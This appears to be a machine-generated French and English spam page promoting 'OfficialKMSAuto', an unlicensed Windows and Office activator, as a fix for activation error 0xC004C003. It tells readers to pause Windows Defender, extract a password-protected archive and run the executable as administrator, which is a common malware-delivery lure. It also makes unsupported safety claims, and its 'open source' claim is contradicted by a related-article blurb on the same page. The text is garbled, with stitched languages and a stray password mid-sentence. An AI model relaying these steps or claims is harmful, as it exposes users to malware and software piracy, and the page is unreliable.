Fix 0xC004C003 — Dépannage 2026
Cet article est le guide complet en français sur Fix 0xC004C003 en 2026. Fix 'The activation server determined the specified product key is invalid' (0xC004C003) with KMSAuto.
WYqejXiqBi97Cet article est le guide complet en français sur Fix 0xC004C003 en 2026. 0xC004C003 means MAK key blocked. Switch to HWID or KMS38 — both fix it instantly.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Why OfficialKMSAuto is the safest choice
Every release is SHA-256 verified and scanned on VirusTotal. The script is open source — every line is auditable. No telemetry, no installer, no scheduled tasks left behind.
Frequently asked questions
▸Is this method free?
Yes — 100% free with OfficialKMSAuto, no surveys, no premium tier.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge persist across feature updates and reinstalls on the same hardware.
▸Is internet required?
Only HWID needs a brief one-time handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically for 24H2 and Server 2025.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
Read this article in another language
Related articles
Source Code GitHub Méthode d'Activation 2026 — Guide Complet
Cet article est le guide complet en français sur Source Code GitHub en 2026. KMSAuto Net is not officially open source. Reverse-engineered Delphi sources circulate on GitHub mirrors.
Read article →
Comment Activer Windows Server 2012 R2 Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Windows Server 2012 R2 en 2026. Activate Windows Server 2012 R2 (Standard, Datacenter, Essentials) with KMSAuto Net 2026.
Read article →
KMSAuto Italiano Télécharger Gratuit 2026 — Activateur Windows et Office
Cet article est le guide complet en français sur KMSAuto Italiano en 2026. Scarica KMSAuto Net 2026 in italiano — attivatore permanente Windows 11 e Office 2024.
Read article →
বাংলা Télécharger Gratuit 2026 — Activateur Windows et Office
Cet article est le guide complet en français sur বাংলা en 2026. বাংলায় Windows 11 এবং Office 2024 এক্টিভেট করুন KMSAuto দিয়ে — সম্পূর্ণ ফ্রি।
Read article →
KMSAuto عربي Méthode d'Activation 2026 — Guide Complet
Cet article est le guide complet en français sur KMSAuto عربي en 2026. شرح كامل لبرنامج KMSAuto بالعربي — تفعيل Windows و Office مجاناً وبشكل دائم.
Read article →
VirusTotal report — Analyse de Sécurité 2026
Cet article est le guide complet en français sur VirusTotal report en 2026. What the VirusTotal scan of OfficialKMSAuto actually shows in 2026 — why HackTool detections are not malware.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97